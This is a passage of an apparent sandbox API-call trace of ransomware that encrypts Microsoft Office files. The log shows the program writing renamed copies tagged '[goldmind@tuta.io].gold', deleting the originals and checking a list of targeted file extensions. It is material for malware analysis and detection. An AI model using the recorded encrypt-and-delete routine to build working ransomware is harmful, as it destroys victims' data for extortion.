Office\\Office14\\1033\\POWERPNT_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0105.723] GetLastError () returned 0x0 [0105.723] ReadFile (in: hFile=0x3b0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0xd0, lpOverlapped=0x0) returned 1 [0105.724] WriteFile (in: hFile=0x38c, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0105.725] ReadFile (in: hFile=0x3b0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.725] WriteFile (in: hFile=0x38c, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0105.725] SetEndOfFile (hFile=0x38c) returned 1 [0105.725] CloseHandle (hObject=0x38c) returned 1 [0105.725] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.725] SetEndOfFile (hFile=0x3b0) returned 1 [0105.727] CloseHandle (hObject=0x3b0) returned 1 [0105.727] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.727] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt")) returned 1 [0105.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0105.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0105.728] lstrlenW (lpString=".doc") returned 4 [0105.728] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0105.728] lstrlenW (lpString=".docx") returned 5 [0105.728] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0105.728] lstrlenW (lpString=".pdf") returned 4 [0105.728] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0105.728] lstrlenW (lpString=".xls") returned 4 [0105.728] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0105.728] lstrlenW (lpString=".xlsx") returned 5 [0105.728] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0105.728] lstrlenW (lpString=".ppt") returned 4 [0105.728] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0105.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0105.728] lstrlenW (lpString=".zip") returned 4 [0105.728] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0105.728] lstrlenW (lpString=".rar") returned 4 [0105.728] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0105.728] lstrlenW (lpString=".bz2") returned 4 [0105.728] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0105.728] lstrlenW (lpString=".7z") returned 3 [0105.728] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0105.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0105.728] lstrlenW (lpString=".dbf") returned 4 [0105.728] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0105.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0105.728] lstrlenW (lpString=".1cd") returned 4 [0105.728] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0105.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0105.728] lstrlenW (lpString=".jpg") returned 4 [0105.728] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0105.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0105.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0105.728] lstrlenW (lpString=".doc") returned 4 [0105.728] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0105.728] lstrlenW (lpString=".docx") returned 5 [0105.728] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0105.728] lstrlenW (lpString=".pdf") returned 4 [0105.728] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0105.729] lstrlenW (lpString=".xls") returned 4 [0105.729] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0105.729] lstrlenW (lpString=".xlsx") returned 5 [0105.729] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0105.729] lstrlenW (lpString=".ppt") returned 4 [0105.729] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0105.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0105.729] lstrlenW (lpString=".zip") returned 4 [0105.729] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0105.729] lstrlenW (lpString=".rar") returned 4 [0105.729] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0105.729] lstrlenW (lpString=".bz2") returned 4 [0105.729] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0105.729] lstrlenW (lpString=".7z") returned 3 [0105.729] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0105.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0105.729] lstrlenW (lpString=".dbf") returned 4 [0105.729] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0105.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0105.729] lstrlenW (lpString=".1cd") returned 4 [0105.729] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0105.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0105.729] lstrlenW (lpString=".jpg") returned 4 [0105.729] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0105.729] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0105.729] lstrlenW (lpString="POWERPNT_F_COL.HXK") returned 18 [0105.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0105.730] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=114) returned 1 [0105.730] CloseHandle (hObject=0x3b0) returned 1 [0105.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk")) returned 0x20 [0105.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0105.730] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.730] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0105.731] GetLastError () returned 0x0 [0105.731] ReadFile (in: hFile=0x3b0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x72, lpOverlapped=0x0) returned 1 [0105.732] WriteFile (in: hFile=0x38c, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x80, lpOverlapped=0x0) returned 1 [0105.732] ReadFile (in: hFile=0x3b0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.732] WriteFile (in: hFile=0x38c, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0105.732] SetEndOfFile (hFile=0x38c) returned 1 [0105.733] CloseHandle (hObject=0x38c) returned 1 [0105.733] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.733] SetEndOfFile (hFile=0x3b0) returned 1 [0105.734] CloseHandle (hObject=0x3b0) returned 1 [0105.735] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.735] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk")) returned 1 [0105.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0105.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0105.735] lstrlenW (lpString=".doc") returned 4 [0105.735] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0105.735] lstrlenW (lpString=".docx") returned 5 [0105.735] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0105.735] lstrlenW (lpString=".pdf") returned 4 [0105.735] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0105.735] lstrlenW (lpString=".xls") returned 4 [0105.736] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0105.736] lstrlenW (lpString=".xlsx") returned 5 [0105.736] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0105.736] lstrlenW (lpString=".ppt") returned 4 [0105.736] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0105.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0105.736] lstrlenW (lpString=".zip") returned 4 [0105.736] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0105.736] lstrlenW (lpString=".rar") returned 4 [0105.736] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0105.736] lstrlenW (lpString=".bz2") returned 4 [0105.736] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0105.736] lstrlenW (lpString=".7z") returned 3 [0105.736] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0105.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0105.736] lstrlenW (lpString=".dbf") returned 4 [0105.736] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0105.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0105.736] lstrlenW (lpString=".1cd") returned 4 [0105.736] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0105.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0105.736] lstrlenW (lpString=".jpg") returned 4 [0105.736] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0105.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0105.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0105.736] lstrlenW (lpString=".doc") returned 4 [0105.736] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0105.736] lstrlenW (lpString=".docx") returned 5 [0105.736] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0105.736] lstrlenW (lpString=".pdf") returned 4 [0105.736] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0105.736] lstrlenW (lpString=".xls") returned 4 [0105.736] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0105.736] lstrlenW (lpString=".xlsx") returned 5 [0105.736] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0105.736] lstrlenW (lpString=".ppt") returned 4 [0105.736] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0105.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0105.736] lstrlenW (lpString=".zip") returned 4 [0105.736] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0105.736] lstrlenW (lpString=".rar") returned 4 [0105.736] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0105.736] lstrlenW (lpString=".bz2") returned 4 [0105.737] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0105.737] lstrlenW (lpString=".7z") returned 3 [0105.737] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0105.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0105.737] lstrlenW (lpString=".dbf") returned 4 [0105.737] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0105.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0105.737] lstrlenW (lpString=".1cd") returned 4 [0105.737] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0105.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0105.737] lstrlenW (lpString=".jpg") returned 4 [0105.737] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0105.737] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0105.737] lstrlenW (lpString="POWERPNT_K_COL.HXK") returned 18 [0105.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0105.737] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=113) returned 1 [0105.737] CloseHandle (hObject=0x3b0) returned 1 [0105.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk")) returned 0x20 [0105.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0105.738] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.738] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0105.738] GetLastError () returned 0x0 [0105.739] ReadFile (in: hFile=0x3b0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x71, lpOverlapped=0x0) returned 1 [0105.739] WriteFile (in: hFile=0x38c, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x80, lpOverlapped=0x0) returned 1 [0105.740] ReadFile (in: hFile=0x3b0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.740] WriteFile (in: hFile=0x38c, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0105.740] SetEndOfFile (hFile=0x38c) returned 1 [0105.740] CloseHandle (hObject=0x38c) returned 1 [0105.740] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.740] SetEndOfFile (hFile=0x3b0) returned 1 [0105.742] CloseHandle (hObject=0x3b0) returned 1 [0105.742] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.742] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk")) returned 1 [0105.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0105.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0105.743] lstrlenW (lpString=".doc") returned 4 [0105.743] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0105.743] lstrlenW (lpString=".docx") returned 5 [0105.743] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0105.743] lstrlenW (lpString=".pdf") returned 4 [0105.743] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0105.743] lstrlenW (lpString=".xls") returned 4 [0105.743] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0105.743] lstrlenW (lpString=".xlsx") returned 5 [0105.743] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0105.743] lstrlenW (lpString=".ppt") returned 4 [0105.743] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0105.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0105.743] lstrlenW (lpString=".zip") returned 4 [0105.743] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0105.743] lstrlenW (lpString=".rar") returned 4 [0105.743] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0105.743] lstrlenW (lpString=".bz2") returned 4 [0105.743] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0105.743] lstrlenW (lpString=".7z") returned 3 [0105.743] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0105.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0105.743] lstrlenW (lpString=".dbf") returned 4 [0105.743] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0105.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0105.743] lstrlenW (lpString=".1cd") returned 4 [0105.743] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0105.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0105.744] lstrlenW (lpString=".jpg") returned 4 [0105.744] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0105.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0105.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0105.744] lstrlenW (lpString=".doc") returned 4 [0105.744] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0105.744] lstrlenW (lpString=".docx") returned 5 [0105.744] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0105.744] lstrlenW (lpString=".pdf") returned 4 [0105.744] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0105.744] lstrlenW (lpString=".xls") returned 4 [0105.744] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0105.744] lstrlenW (lpString=".xlsx") returned 5 [0105.744] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0105.744] lstrlenW (lpString=".ppt") returned 4 [0105.744] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0105.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0105.744] lstrlenW (lpString=".zip") returned 4 [0105.744] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0105.744] lstrlenW (lpString=".rar") returned 4 [0105.744] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0105.744] lstrlenW (lpString=".bz2") returned 4 [0105.744] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0105.744] lstrlenW (lpString=".7z") returned 3 [0105.744] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0105.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0105.744] lstrlenW (lpString=".dbf") returned 4 [0105.744] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0105.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0105.744] lstrlenW (lpString=".1cd") returned 4 [0105.744] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0105.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0105.744] lstrlenW (lpString=".jpg") returned 4 [0105.744] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0105.744] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0105.744] lstrlenW (lpString="PPINTL.DLL") returned 10 [0105.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0105.745] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1284456) returned 1 [0105.745] CloseHandle (hObject=0x3b0) returned 1 [0105.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll")) returned 0x20 [0105.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0105.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0105.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0105.745] lstrlenW (lpString=".doc") returned 4 [0105.745] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0105.745] lstrlenW (lpString=".docx") returned 5 [0105.745] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0105.746] lstrlenW (lpString=".pdf") returned 4 [0105.746] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0105.746] lstrlenW (lpString=".xls") returned 4 [0105.746] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0105.746] lstrlenW (lpString=".xlsx") returned 5 [0105.746] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0105.746] lstrlenW (lpString=".ppt") returned 4 [0105.746] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0105.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0105.746] lstrlenW (lpString=".zip") returned 4 [0105.746] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0105.746] lstrlenW (lpString=".rar") returned 4 [0105.746] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0105.746] lstrlenW (lpString=".bz2") returned 4 [0105.746] lstrcmpiW 